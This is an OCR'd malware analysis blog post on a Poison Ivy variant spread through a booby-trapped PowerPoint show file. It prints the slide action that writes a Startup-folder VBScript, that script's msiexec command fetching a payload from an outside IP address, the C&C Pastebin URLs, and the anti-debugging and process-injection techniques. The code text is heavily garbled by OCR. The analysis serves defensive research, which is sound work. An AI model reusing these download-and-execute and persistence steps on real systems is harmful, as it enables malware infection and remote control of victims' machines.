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Recently, the FortiGuard Labs research team observed that a new variant of Poison Ivy was
being spread through a compromised PowerPoint file. We captured a PowerPoint file named
Payment_Advice.ppsx, which is in OOXML format. Once the victim opens this file using the
MS PowerPoint program, the malicious code contained in the file is executed. It downloads
the Poison Ivy malware onto the victim’s computer and then launches it. In this blog, I'll show
the details of how this happens, what techniques are used by this malware, as well as what it
does to the victim’s computer.

The PowerPoint Sample

Figure 1 shows a screenshot of when the ppsx file is opened.
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Please Enable Your
Adobe Flash Player
Settings...

T

Q Microsoft Office has identified a potential security concern.

File Path:  Ci\UsersliohmADeskioplPayment_advice ppsx

To help probeck your security, Microsoft Office has blocked the sbilty bo run an .
extarnal program automatically, IF you chooss bo enable the extarnal Ad n] be Fla Sh Player Sett' ngS -
pragrams, your document and computer may no longer be secure,

IF you wish to run external programs in Action Ssthings, click Enable. IF you
wish For external programs in Ackion settings to un automaticaly, dick Enable
Al, bk niote that this may b= a seouby risk, Otherwise, dick Disable bo
cantinue,

Erable &l (ot recoremended) | Enable | [ pisshle |

Figure 1. Open Payment Advice.ppsx

As you can see, the ppsx file is played automatically. The “ppsx” extension stands for
“‘PowerPoint Show,” which opens the file in presentation mode. This allows the malicious
code to be executed automatically. The warning message box alerts the user that it might run
an unsafe external program. Usually, the implied content of the document beguiles the user
into pressing the Enable button.

Let’'s take a look at the malicious code embedded inside this PowerPoint file.

OOXML file is a zip format file. By decompressing this file we can see the file/folder
structure, shown below.
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Mame Ext Size Madified

- Payment_Advice 87,865 8/17/2017 10:35:05 PI
- ppt 76,123 8/17/2017 10:35:05 PI
~[Elll theme 6,805 8/17,/2017 10:35:05 P
’-'-"E shides 3,738 8/17/2017 10:35:05 PI
= rels 967 8/17/2017 10:35:05 P,

i fenmslidel xmlrels rels 957 1/1/1980 12:00:00 AM

L m slidel soml xml 2,771 1/1/1980 12:00:00 AM

shdelasters 14,905 &/17,/2017 10:35:05 PM

@l slidelayouts 550 8/17,/2017 10:35:05 PM

Bl _rels 976 8/17/2017 10:35:05 PM

-m viewProps.aml xml 771 17171980 12:00:00 AM

--n tableStyles.xml xml 182 1/1/1980 12:00:00 AM

--m presProps.aml xml 816 1,/1/1980 12:00:00 AM

--m presentation.xml xml 3,380 1,/1/198012:00:00 AM

-l docProps 7,865 8/17/2017 10:35:05 PM

Bl _rels 738 8/17/2017 10:35:05 PM
- [Content_Types]axml xml 3139 1711980 12:00:00 AR

Figure 2. PPSX file structure

Going into its .\ppt\slides\ subfo
The file “.\_rels\slide1.xml.rels”

Ider, slide1.xml is the slide automatically shown in Figure 1.
is the relationship file where the resources used in slide1.xml

are defined. In slide1.xml, | found the xml code:

/7 <piop>

- <pinvSpPr>

<a:hlinkClick rjd=""highlightClick="1" acti
<a:hlinkHover|
</picNvPr=
<p:cNvSpPr/=
<p:nvPr/>
</p:nvSpPr>
- <p:spPr=
- <axfrmz
<a:off y="1911927" x="2890982"/>
<arext cy="1671782" cx="681064
<fa:xfrmz
- <a:prstGeom prst="actionButtonBlan
<a:avlst/>
</a:prstGeomz
<a:noFill/=
- <a:ln>
<a:noFill/=
<fa:lnz
</p:spPr>
\ - <p:style>

This means that when the user'
slide1.xml.rels file is executed.

Figure 3 shows the relationship

- <p:cNvPr name="Action Button Custom 4" id="5">

rid= r[d2 action="ppaction://program"/>

{<7xml version="1.0" encodlng "UTF-8" standalone="true"?=> ™

k(fReIationships> )

-

on="ppaction:/ /noaction"/=

In slidel.xml.rels

< Relatlonshlps xmlns "http: Hschemas Dpenxmlformats org/package/)l][]ﬁ/relatlonshlps =
2 20

ies.run%e 20%

25/ Microsoft/Window {
25AppData%oe25/Microsoft/ W i
22/ Prog rams/Startu prhumIJs vbs% 20"

pa=_httn: / /schemas.openxmiformats.org/officeDocument/ 2006/ relationships/hyperlink”

< Relatlons ip Target="../slideLayouts/slideLayoutl.xml"
Type="http:/ /schemas.openxmiformats.org/officeDocument/ 2006/ relationships/slideLayout'|
Id="rId1"/>

s mouse hovers over this element, something named “rld2” in

between them.
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/" Zpsp>
- <p:nvSpPr=
- <p:cNvPr name="Action Button Custom 4"
<a:hlinkClick rijd="" i

ig
r:id="rId2"|action="ppacti
Fid="rid2

<a:hlinkHover|
</p:chvPr=
<p:cNvSpPr/=
<p:nvPr/>
</p:nvSpPr=
- <p:spPr>
- <anfrms
<a:off y="1911927" x="2890%82"/>
<a:ext cy="1671782" cx="6816436"/>
<faixfrm>
- <a:prstGeom prst="actionButtonBlan
<a:avlst/=
</fa:prstGeom=
<a:mnoFill/>
- <atn>
<a:noFill/ =
<fa:ln=
</p:spPr>
- «<p:istyle>

o

hlightClick="1" action="ppaction://noaction"/>

id="5">

on://program”/>

In slidel.xml.rels

{<7xml version="1.0" encoding="UTF-8" standalone="true"?=>
<Relat|onsh|ps xmlns— http: ,r‘fschemas Dpenxmlformats org{package{2006frelatlonsh|ps =
- 020

s run% 20%

25/ Microsoft/Window i
25AppData%e25/Microsoft/ W i
22_¢r Prog rams/Startu p_fThumbs vbs% 20"

-/ /schemas.openxmiformats.org/officeDocument/ 2006/ relationships /hyperlink”

ip Target="../slideLayouts/slideLayoutl.xml"
Type="h
Id="rId1"/>
6!Re|ati0nships>

ttp:/ /schemas.openxmlformats.org/officeDocument/ 2006/ relationships/slideLayout']

A

Figure 3. The code defined in “rld2”

Being Added into the Startup Group

The code defined in “rld2” uses an echo command of cmd.exe to output vbs codes into the
Thumbs.vbs file in the “Startup” folder of the Start menu. This allows the Thumbs.vbs file to
be executed when the victim’s system starts. We’'ll take a look at the content of this

Thumb.vbs file below.
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Computer Payment_A...

@ Windows Media Player
@’ Windows Update
i KPS Viewer
. Accessories
, Autoltv3
., Games

_'ﬂ Thumbs.vbs - Motepad

File Edit Format Miew Help

Set ws = CreateQbject("Wscript.5hell™)
ws.run “cmd.exe fc mtstitetxtetc fq fi
Q Games Explorer R tAtAps fASARAEANT2MANE 1086 1M 2N M imtagtes / Thhun®b s . b*m*p" , vbhide
, lava

. Maintenance
w Backup and Restore i 2 Thumbs.vbs - Motepad

B) Create a System Re Eile Edt Fgrmat View Help

Set ws = CreateQbject("Wscript.Shell™)
| Microsoft Office ws.run "cmd.exe fc msiexec fq fi http://283.243.116.182/images/Thumbs.bmp”,vbhide

. Motepad++
. Process Hackgt 2 Control Panel
. Python 2.7
, Startup Devices and Printers
 [Z] Thumbs.wbs
| SysAnalyzer Default Programs

o WinPcap :
.. WinRAR Help and Support

1 Back Run...

| Search programs and files o | m

7 AaEE I

Figure 4. Thumb.vbs in the Startup folder and its content

The Downloaded File

Thumbs.vbs downloads a file from hxxp://203.248.116.182/images/Thumbs.bmp and runs it
using msiexec.exe. As you may know, msiexec.exe is the Microsoft Windows Installer
program, which is the default handler of .MSI files. Msiexec.exe can be used to
install/uninstall/update software on Windows. The MSI file is an Installer Package. It contains
a PE file (in a stream) that is executed when it's loaded by msiexec.exe. This PE file could be
replaced with malware to bypass any AV software detection. We have also observed that
more and more malware authors have started using this method to run their malware. The
MSI file is in the Microsoft OLE Compound File format. In Figure 5 we can see the
downloaded Thumbs.bmp file content in the DocFile Viewer.
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- O x
a [ https://pastebin.com/D8AZazlE o~ac ir @
[C++] D8A2azM3 - Pastebi...

C++ 8.95 KB raw download cdone embed report  print

import win32serviceutil
import win32service

from multiprocessing import Process

import helloworld

class service{win32serviceutil.ServiceFramework):
_swe_name_ = "Testservice”
_swe_display_name_ = "Test Service"
_swe_description_ = "Tests Python service framework by receiving and echoing

messages over a named pipe"

def __init_ (self, *args):

super()._ init_ (*args)

def SvcsStop{self):
self.ReportServiceStatus (win32service. SERVICE_STOP_PENDING)
self.process.terminate()

self.Reportservicestatus(win32service.SERVICE_STOFPED)

def SwcDoRun{self):
self.process = Process(target=self.main}
self.process.start()

self.process.run()

def main(self):

helloworld.runi)

Encrypted IP and Port

if __mame_ == "_ main__

win32serviceutil.HandleCommandLine({dvbbhEsL@hulplpaaesClenzsdv]})

Figure 5. The downloaded Thumb.bmp in DocFile viewer

Next, I'm going to extract this PE file from the stream into a file (exported_thumbs). By
checking with a PE analysis tool, we can see that it's a 64-bit .Net program. This means that
this malware only afftects 64bit Windows.

Analyzing the .Net code and Running It

After putting this extracted file into dnSpy to be analyzed, we can see the entry function
Main(), as shown in Figure 6.
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Debug Window Help & "‘-|

* X MNuEHDHDGX X

nFrame [
bMNuErGHrGHDc

= My
4 #¢ NUEHDHD
I il Ba

b #2 GHDcv

100 % -

Figure 6. Main function

It then calls the rGHDcvkN.Exec() function in Main(), which contains a huge array. Actually,
the data in the array is the code that is executed as a thread function by a newly-created
thread.

Figure 7 clearly shows how the code in the array is executed.
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rGHDeovkM.cs ¢

r vkl ~| =W Exec()
2 rGHD vk @ Exec(

—hsing System;
uzing Syztem Funtime. InteropServices;

f£F Token: 0x02000003 RID: 3
Sljpublic clazs rGHDowkLIT
{
F#f Token: 0x06000003 RID: 3 EVA: 0x000163DC File Offset: 0x000145DC
- public static wvoid Exect)
{
IntPtr conzoleWindow = rGHDcvkN. GetConsole¥indow() ;
rGHDevEN. ShowWindow(conzoleWindow, 03 ;
fovtel]l array = new bytell] !
{
aa,
T2,
137,
2249,
al, Huge Arrpy
104,
o,
A0,
1.
0.
232,
,, o8 Y,

byte[] arrayd;
if (IntPtr.Size == 8)
elze

arrayld = arraye;

Marshal.Copyl{arrayd, 0, intPtr, arravy3.Length);
IntPtr hHandle = IntPtr.Iero;

uint num = Ou;

lothtr zero = JotPir, fero;

IntPtr intPtr = rGHDowkN. Virtualdlloc(Ou, (uint)array3.length. rGHDowkN. MEM_COMMIT,

[hHandle = rGHDovEN. CreateThread(Ou, Ou, intPtr, zero, Ou, ref mum) ;|

riHD vkl WartForaingleCbyect thHandle, 42944R72450) ;

100% -

Figure 7. .Net program runs a thread to execute the code in a huge array

riHDevkN. PAGE_EXE

|

If the code is run on a 64-bit platform, IntPtr.Size is 8. So the huge array is passed to array3.
It then allocates memory buffer by calling rGHDcvkN. VirtualAlloc() and copies the code from

array3 into the new memory by calling Marshal.Copy/(). It eventually calls

rGHDcvkN.CreateThread() to run the code up.

| started the .Net program in the debugger, and set a breakpoint on CreateThread API to see
what the array code would do when it’s hit. Per my analysis of the array code, it is a kind of
loader. Its main purpose is to dynamically load the main part of the malware code from the
memory space into a newly-allocated memory buffer. It then repairs any relocation issues
according to the new base address and repairs APIs’ offset for the main part code. Finally,

the main code’s entry function is called.
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Anti-Analysis Techniques

1. All APIs are hidden. They are restored when being called. The snippet below is the
hidden CreateRemoteThread call.

sub_1BOE6122 proc near

mov
neg
jmp

rax, OFFFFFFFF88E23B10h
rax
rax ;; CreateRemoteThread

sub_1BOE6122 endp

1. All strings are encrypted. They are decrypted before using. For example, this is the
encrypted “ntdIl” string.

unk_1AFD538C db 54h, 0B2h, 9Bh, OF1lh, 47h, OCh ; ==> "ntdll"

1. It runs a thread (I named it ThreadFun6) to check if the API has been set as a
breakpoint. If yes, it calls TerminateProcess in another thread to exit the process
immediately. The thread function checks all APIs in the following modules: “ntdll”,
“kernel32”, “kernelbase” and “user32”. In Figure 8, you can see how this works:

aed
mow
push
mou
Sul
lea
lea
moy
call
mou
call
mow
call
lea
®or
mow
lea
®or
miow
and
call
o
call
lea

[Fsp-B+arg_R], rhx

rhp

rhp, Fsp

rsp, 5ih

rdx, unk_1AFDS3EC ; » “ntdll™

rox, [rFhpeuvar 20]

rad, 7ZhEDEZAAN

Decrypt_String_fun

roR, Fax

sub_TAFD1@AR

rox, rax

csitall GetModuleHandled ; GetHodulelandled
r#, ThreadFund ;; To check if the exported API of ntdll is set breakpoint.
edx, edx

9, rFax

ra, [rﬁf+drg_ﬂ]

BCH¥, BC
[rspt;::4uar 78], rax
[rsp+50h+var_38], @

cs:call CreateThread ; ;;;ThreadFunég
rox,/ Fax

cs:fall_CloseHandle ; CloseHandle
roy, [rbprwar_2@]

test , BaX
L 1
ThreadFung proc near = DATA XREF: sub TAFDZ2264+38T0
: sub 1AFDZ264=n3T0
var 28 = dward pte -28h
var_28 = gquord ptr -28h
arg_# = byte ptr ®
nou ri11, rsp
now [rii+iBh], rbx
o [r11+180], rbp
push rsi
push rdi
push F12
sub rsp, J6h
o rbx, rcx
test FCX, FCX ;o iiras module base address
jnz short loc_1AFD2452
nau Fhst, [F11#18h]
oy Fbp, [F11+18n]
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Toc_1AFD2Y52:

loc_1AFD2RAD:

loc 1AFD2E79:

loc 1AFD2EE3:

loc_1AFD2HEC:

loc_1AFD2H97:

loc_1AFD2LBE :

ThreadFund

HOr
add
pop
pop
pop
Fetn

novsxd
®OF
Aoy
now
add
xor

ELTY
cnp
jle
moy
moy

moy
cnp
jnz
inc

add
dec
jnz

test
jnz
mow
moi

cop
jz
mow
lea
wor
mow
and
xor
®OF
call

mow
call
jnp

enip

pax, eax
rsp, Jih
r12
rdi
rsi

; CODE XREF: ThreadFunds197]
rax, dword ptr [rcx+3Ch]
edi, edi
ebp, [raxsrcx+38h]
ri2d, [rbp+rcx+iCh]
12, rcx
esi, esi

; CODE XREF: ThreadFunt+ASyj
eCxX, BCX
[Fhpsrx+ibng, ecx
short loc_1AFD2HEC
r8d, [rhp+rhxeish]
rdg, r12

; CODE XREF: ThreadFunb+6b]]

eax, [rdx]
byte ptr [Fax+rbx], GECh ;BCCH is binary of instruction int3. ie. soft breakpoint.

short loc_1AFDZBED
BCK

: CODE XREF: ThreadFuné+5BTj
ridg, &
ré
short loc 1AFD2BTY ; ;g0 through all export APIs in this module.

; CODE XREF: ThreadFuno+4BTj

esi, esi
short loc_1AFDZRDY
edi, ecx
esi, 1
; CODE XREF: ThreadFunt+&6ATj
edi, ecx

short loc_1AFD2HBE

ré, cs:call RtlExitUserProcess ;Exit process when soft breakpoint detected on APIs.
rax, [rspeuBh+arg_n]

rod, rod

[rspraBh+var_20], rax

[FspsbBhsvar_?8], 0

edx, edx

BCH, BCY : i:exit if error

cs:call_CreateThread ; CreateTheead

: CODE XREF: ThreadFunt+75Tj
ec®, JEAN
csicall_Sleep : Sleep
short loc_ 1TAFD2HAGY

Figure 8. Checking for breakpoints on exported APIs in “ntdll”

1. It runs a thread to check if any analysis tools are running. It does this by creating
specially named pipes that are created by some analysis tools. For example,
“W.\Regmon” for registry monitor tool RegMon; “\\.\FileMon” for local file monitor tool
FileMon; “\\NTICE” for Softice, so on.

If one of the named pipes cannot be created, it means one of the analysis tools is running. It
then exits process soon thereafter.
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1. It then goes through all the running program windows to check if any windows class

name contains a special string to determine if an analysis tool is running. For example,

“WinDbgFrameClass” is Windbg main window’s class name. This check runs in a
thread as well (I named it as Threadfun3). Below, Figure 9 shows how this thread

function works.

ThreadFun3 proc near ; DATA XREF: main+1ESTo

sub

loc_1AFD223C:
call
lea
mou
mnou
call
nov
call
jmp

ThreadFun3 endp

rsp, 28h

; CODE XREF: ThreadFun3+28]j
cs:call_GetForegroundWindow ; GetForegroundWindow
rdx, sub_1AFD2864 ; ;;;;Function to check windows class name. for exmaple windbg
8, rax
recx, rax
cs:call EpumChildWindows ; EnumChildWindows
ecx, 3EBh
cs:call_Sleep ; Sleep
short loc_1AFD223C

Figure 9. Check Windows’ Class Name

1. By checking to see if the “Wireshark-is-running-{...}” named mutex object exists (by
calling OpenMutex), it could implement anti-WireShark.

2. By calling the API “IsDebuggerPresent”, it can check to see ] if this process is running
in a debugger (returns with 1). It's a kind of anti-debugging check. It also checks how
much time is spent by calling IsDebuggerPresent. If the time is more than 1000ms, it
means that the process runs in a debugger or VM, and it then exits the process.

These are all the ways that this malware performs anti-analysis. Most of these checks run in
their own threads, and are called every second. It then exits the process if any check is

matched.

To continue the analysis of this malware, we have to first skip these checks. We can

dynamically modify its code to do so. For example, changing “IsDebuggerPresent”s return
value as 0 allows us to bypass the running-in-debugger detection.

Generating A Magic String from a Decrypted String

By decrypting three strings and putting them together, we get the magic string "Poison lvy
C++", which will be saved in a global variable qword_1BOE4A10. From the code snippet
below you can see how it makes this string.
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; CODE XREF: main+4ACTj B
lea rdx, unk 1AFD52568 ; ;;;"Poison " |
lea rcx, [rbp+uar 28]
mow +8d, BCOSF4388h
call Decrypt_String fun
mow rcx, Fax
call sub_1AFD10880 ; :;WideCharToMHultiByte
mou rcx, cs:iquword 1BBELA1A
mou rdx, rax
call cs:call 1strcat ; lstrcat
lea rcx, [rbp+uar 28]
call sub_1AFDLCSY ; ;:;calling HeapFree
lea rd=, unk 1AFD5274 7 ;55 "Twy
lea rcx, [rbp+uar 28]
mow +8d, BF7BBE3DDH
call Decrypt_String fun
mow rcx, Fax
call sub_1AFD10880 ; :;WideCharToMHultiByte
mou rcx, cs:iquword 1BBELA1A
mou rdx, rax
call cs:call 1strcat ; lstrcat
lea rcx, [rbp+uar 28]
call sub_1AFDLCSY ; ;:;calling HeapFree
lea rd=, unk 1AFD527C ; ;5 “C++*
lea rcx, [rbp+uar 28]
mow +8d, 21EBED4Bh
call Decrypt_String fun
mow rcx, Fax
call sub_1AFD10880 ; :;WideCharToMHultiByte
mou rcx, cs:quord 1BBE4A1B ; ;555 "Poison Iwy C++"
mou rdx, rax
call cs:call 1strcat ; lstrcat
lea rcx, [rbp+uar 28]
call sub_1AFDLCSY ; ;:;calling HeapFree

Figure 10. Generating the magic string

Hiding Key-functions in Six Different Modules

It next loads several modules from its encrypted data. It creates a doubly-linked list, which is
used to save and manage these loaded modules. There are many export functions from
each of these modules that achieve the malware’s main work. In this way, it's also a
challenge for dynamic debugging. The variable qword_1AFE45D0 saves the header of that
doubly-linked list. Each object in the list has the structure below:

+00H pointer to previous object in the list

+08H pointer to next object in the list

+18H for Critical Section object use

+28H the base address of the module this object is related to
+30H pointer to export function table

It then decrypts and decompresses six modules one by one, and adds each of them into the
doubly-linked list. Figure 11 shows a code snippet from decrypting these six modules.
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‘ Elavenws @ | Fmavews [ | Eoavenc) | Eoavess ) | Eoavest ) | [Emavess D | Clrexvew-1 D | Elewms 0 | fFmports 0 | Flewports [0 |
seqABB:0ABBARB1AFD11FE -
SeqO00:000000001AFD11FO Sub_1AFD11FB proc near s DATA XREF: main+12Glo [
seq@06:-000000001AFD11FO M
seqAap: 8ARAAARBTAFDI1FA arg 8 = quord ptr  18h
SeqOo0:000000001AFD11FO
seq@00:-000000001AFD11F0 push rbx
seq@00:000000001AFD11F2 sub rsp, 26h
seq0O0: 0000600B1AFD11FG and [rsp+28h+arg_8], B
seq@oB:0080608081AFDI1FC lea rdx, dynamic_code1
seqOan: AARARAOETAFD12 A3 lea rex, [Fsp+28h+arg 8]
seq000:000000081AFD1208 moy r&d, 24EFh ; Hoduled
seqd0B: A080A0EH1AFD128E call Decrypt_code ; ¥8d is code size, rdx is encrypted code.

SeqOo0:000000001AFD1213 lea rdx, dynamic_code2

seq@06:000000001AFD121A lea rcx, [rsp+28h+arg_8]

Seq@00:000000001AFD121F mov r8d, 33208h ; Module2

seq@0B: 900000661AFD1225 call Decrypt_code ; r8d is code size, rdx is encrypted code.
seq@0B:0080BARA1AFD122A lea rdx, dynamic_code3

seqoan: 0ARARARETAFD1231 lea rex, [Fsp+28h+arg 8]

seq000:000000081AFD1236 moy r&d, 2AF3h ; Hodule3

seqd08:A080A0EH1AFD1230 call Decrypt_code ; ¥8d is code size, rdx is encrypted code.
Seq@o0:000000001AFD12M1 lea rdx, dynamic_codel

seq@00:000000001AFD1248 lea rcx, [rsp+28h+arg_8]

seq@00:000000081AFD124D mov r8d, 13ECh ; HModulel

seq@0B:900000681AFD1253 call Decrypt_code 5 r8d is code size, rdx is encrypted code.
seq@0B:00A0BARA1AFD1258 lea rdx, dynamic_code5

seqOan: 8ARARANETAFD125F lea rex, [Fsp+28h+arg 8]

seq000:000000081AFD1264 moy ri&d, 14akh ; Module5, including socket related functions
seqd06:A080BRBB1AFD126A call Decrypt_code ; ¥8d is code size, rdx is encrypted code.
SeqOo0:000000001AFD126F lea rdx, dynamic_coded

seq@00:000000001AFD1276 lea rcx, [rsp+28h+arg_8]

seq@00:000000001AFD127B mov r8d, 261Dh ; Moduleé

seq@0B: 900000088 1AFD1281 call Decrypt_code 5 r8d is code size, rdx is encrypted code.
seq@0B:00A0BARA1AFD1286 cmp cs:quword_1AFE45DB, A

Seq@00:000000001AFD128E jnz short loc_1AFD12C8

seq000:080000081AFD1298 mouv ecx, 46h

seq@BB: A0ABBARA1AFD1295 call sub_1AFD2728 ; RtlAllocateHeap rcx is size
SeqOo0:000000001AFD129A mov rbx, rax

seq000:000000081AFD129D test rax, rax

00001248 000000001AFD1248: sub 1RFD11F0+5& (Synchronized with Hex View-1) -
< | . | r I

Figure 11. Decrypting and decompressing modules

Each module has an Initialization function (like DIIMain function for DIl files) that is called
once the module is completely decrypted and decompressed. Three of these modules have
an anti-analysis ability similar to the one | described in the Anti-Analysis section above. So to
continue the analysis of this malware, | needed to modify their codes to bypass their
detection function.

After that it calls the export functions of those modules. It decrypts the configuration data
from the buffer at unk_1AFE3DAO. This configuration data is decrypted many times during
the process running, and it tells the malware how to work. I'll talk more about the
configuration data in a later section.

The malware then picks a string from the configuration data, which is
“%windir%\system32\svchost.exe”. It later calls CreatProcess to run svchost.exe, and then
injects some code and data from malware memory into the newly-created svchost.exe. It
finally calls the injected code and exits its current process. The malware’s further work is now
done in the svchost.exe side.

Starting over in SVCHOST.exe

Through my analysis | could see that the injected codes and data represent the entire
malware. It all starts over again in the svchost.exe process. Everything | have reviewed
about is repeated in svchost.exe. For example, executing the anti-analysis detection code,
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getting the magic string, creating a doubly-linked list, decrypting six modules and adding
them into the doubly-linked list, and so on.

It then goes to different code branch when executing the instruction 01736C2 cmp dword ptr
[rdi+0Ch], 1 in module2. [rdi+0ch] is a flag that was passed when the entire code was
initialized. When the flag is 0, it takes the code branch to run svchost.exe and inject code in
it; when it's 1, it takes the code branch to connect to the C&C server. Before the injected
code in svchost.exe is executed, the flag is set to 1. Figure 12 shows the code branches.

ERT RN TR 1
rdi, [rcx+8]

mov
call sub_173BD8 ; ::CreateFilemappingn MapUiewOfFile
nov rcx, rbhx
call quord ptr [rax+8] ; ;;:1afd3B84
cmp dword ptr [rdi+BCh], 1
jz short loc 173735 ,; ; go to continue malware work in suchost.exe
cnp dword ptr [rdi+BChJy
jnz short log_1736D5 ; ; 0 run suchost_exe up.
call sub_1733A84 a~
jmp short 1lok_17373n -
u hY
| =
loc_1736D5: I ; CODE XREF: suh_1?361hﬂgﬁ'
¥or ebx, 9'”‘! loc_1737 ; GODE XREF: sub_173614+B2%j
cnp [rsifﬁ]ﬂ bx 5 sirsi still pein %A ; sub_173614+F8%§ ...
iz short 1dc_ 173788 ; ;;::::; call sub_ 173414 ; continue malware work in suchost.exe
lea rax, [r§p+58h+arg_0]
lea r8, a,tH"N'LFU" 3 ogssto CreatWinlyec 17373n: ; CODE XREF: sub_173614+BF1j
xor rod, r9 nov rbx, [rsp+58h+arg_8]
mou [rsp+ssh+uar_30], rax mov rsi, [rsp+58h+arg_10]
xor edx, edg add rsp, 58h
Xor ecx, e* pop Fdi
nov [rsp+58h+var_38], ebx retn
call cs:icalll CreateThread ; CreateThrealgyn 173614 endp
mov VYLK, ¥
call cs:cal]| CloseHandle ; CloseHandle
loc_173708: I ; GODE XREF: sub_173614+C771j
cmp [rsi+ !Ih], bx
jz shurtvcj?a?:ﬁ H
call sub_173F88 5 3;i;createprocess suchost.exe
test eax, eax
jnz short loc_173735 ; ;;;
call cs:call_GetCurrentProcess ; GetCurrentProcess
xor edx, edx
mov FCK, Fax
Figure 12. Snippet of code branches

Obtaining the C&C Server from PasteBin

The C&C server’s_IP_addresses and ports are encrypted and saved on the PasteBin website.
PasteBin is a text code sharing website. A registered user can paste text code on it in order
to share the text content to everyone. The malware author created 4 such pages, and put the
C&C server IP addresses and ports there. Do you remember when | talked previously about
encrypted configuration data? It contains the 4 PasteBin URLs. They are

hxxps://pastebin.
hxxps://pastebin.
hxxps://pastebin.
hxxps://pastebin.

com/Xhpmhhuy
com/m3TPwxQs
com/D8A2azM8
com/KQAxvdvJ

Figure 13 shows the decrypted configuration data.
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https://www.fortinet.com/products/security-subscriptions/ipreputation-antibot.html

Figure 13. Decrypted configuration data

g1 2 3 4 5 &6 7 & 9 & b g d e f
0000000Ch: 91 OC FS 4F 12 34 56 78 00 00 00 OO0 OO0 OO0 0% OS5 ; [.FH.4Vk........
00000010k: OO0 OO0 08 05 01 00 13 00 96 00 OO0 00 AR OO0 DS 00 ; vvwuwn.. 7,77
000000Z0h: DD OO0 ES5 OO0 ED OO0 O1 OO0 00 OO0 05 01 06 01 07 01 ; 777.eeenenenn
O000OD30h: 05 01 26 01 27 01 25 01 25 01 00 00 OO0 OO 0O OO SR U T
00000040k: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e vneneneennn.
00000050h: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e vneneneennn.
O00000&0R: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 § ve e vnenenennnn.
00000070h: OO0 OO0 00 OO0 OO0 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e rnenenennnn.
000000S0h: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 § ve e vnenenennnn.
000000S0h: OO0 OO0 00 OO0 00 00 OO0 00 00 00 1E 00 3C 00 S OO0 7 veueenenen.. <.Z
000000&0h: 75 00 00 OO0 OO0 00 OO0 OO0 00 OO0 00 00 00 00 00 OO0 § Hevevnenenennnn.
000000kOL: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e vnenenennnn.
000000z0h: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e vneneneennn.
000000dC0L: 00 OO0 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 7 ve e vnenenenennn.
000000e0h: OO0 OO0 00 OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 00 7 ve e vneneneennn.
O000ODE£0L: OO0 OO 00 OO0 58 0z 00 OO0 58 0z OO0 00 OO0 OO 00 OO0 T Eeenn.
00000100k: OO0 OO0 00 01 00 00 OO0 00 00 00 00 00 00 00 00 00 7 ve e vnenenennnn.
00000110k: OO0 OO0 00 OO0 OO0 00 OO0 OO0 00 OO0 00 00 OO0 6B T7 F7 7 veeernenenens K
O00001Z0h: 33 44 35 45 55 45 37 49 71 70 65 52 6D 79 00 50 ; 3DBEXE7IgpeRmy.F
00000130h: 61 73 74 65 42 69 G6E 35 33 00 65 74 74 70 73 34 ;;EEEEEEEJEEEEET
00000140h: 2F 2ZF 70 61 73 74 65 62 69 G6E ZE 63 6F 6D 2F 53 pastebin.com/ 3
O0000150h: 65 70 60 65 65 75 79 00 68 74 74 70 73 34 2F 2F ; |hpwhhuy.https://
O0000160h: 70 61 73 74 65 62 69 6E 2zE 63 6F 6D 2F 6D 33 54 ; |pastebin.com/m3T
O0000170h: 50 77 78 51 73 00 65 74 74 70 73 34 2F 2ZF 70 61 ; |[PwxQs.https://p
O00DO0180h: 73 74 65 62 69 6E ZE 63 6F 6D ZF 44 35 41 32 61 ; |stebin.com/DSLZ
O0000190h: 74 4D 38 00 65 74 74 70 73 34 ZF 2F 70 61 73 74 ; |zM8.https://past
000001a0Oh: 65 62 63 GE ZE 63 6F 6D 2F 4B 51 41 758 76 64 76 ; |ebin.com/EQlxvdy
000001kbOh: 4A 00 25 50 72 6F 67 72 61 6D 44 61 74 61 25 SC ; |JfSProgreambatas,
000001cOh: 54 65 73 74 5C 00 53 4F 46 54 57 41 52 45 5C 4D ; Test) .SOFTWAREY M
000001d0h: 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 ; icrosoft)Windows
000001e0Oh: 5C 43 75 72 72 65 G6E 74 56 65 72 73 69 6F 6E 5C ; ‘\CurrentVersiond
O00DO1£0h: 52 75 6E OO0 54 65 73 74 00 54 65 73 74 53 76 63 ; Run.Test.TestSvc
O000D0Z00L: OO0 54 65 73 74 53 76 63 00 54 65 73 74 53 76 63 ; .TestSve.TestSve
O0000Z10h: 20 57 69 GE 64 6F 77 73 20 53 65 72 76 69 63 65 Windows Service
O0000ZZOh: OO0 OO0 00 OO0 25 77 69 6E 64 69 72 25 5C 73 72 73 ; ....Fwindirs.=vs
O00D0Z30h: 74 65 6D 33 32 5C 73 76 63 658 6F 73 74 2ZE 65 75 ; [cemszisvchost.ex
O0000Z40h: 65 00 00 OO0 00 25 77 69 G6E 64 69 72 25 5C 65 75 ..&windiri'ex
O0000Z50h: 70 6C 6F 72 65 72 ZE 65 78 65 00 00 OO0 00 00 OO0 ; ploCEC.exe......
O0000Z60h: OO0 OO0 00 OO0 00 00 OO0 00 00 00 00 00 7 teeeenenennn

m

If you access any one of these URLs, you will find there are normal Python codes on it. The
encrypted server |IP address and port are hidden in the normal python code. Let’s take a

look.

While looking at the main function you will find the code below:

win32serviceutil. HandleCommandLine ({65 YbRI+gEtviZpoOqw6CrNdWDoev}), the data
between “{* and “}", is the encrypted IP address and port. See Figure 14 for more

information.
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@ )| B hitps://pastebin.com/D8A2azl3
[C++] DBAZ2azMS - Pastebi...
C++ 8.95 KB raw download cdone embed report  print
1. import win32serviceutil

2. import win32service

from multiprocessing import Process

w

import helloworld

n

2. class service(winz2serviceutil.serviceFramework):
_swe_name_ = "Testservice”
18. _swe_display_name_ = "Test Service"
11. _swe_description_ = "Tests Python service framework by receiving and echoing

12. messages over a named pipe™

14, def __init_ (self, *args):

15, super()._ init_ (*args)

17. def svcstop(self):
18. self.ReportServiceStatus (win32service. SERVICE_STOP_PENDING)
19, self.process.terminate()

28, self.Reportservicestatus(win32service.SERVICE_STOFPED)

22. def svcDoRun(self):

23, self.process = Process(target=self.main}
24, self.process.start()
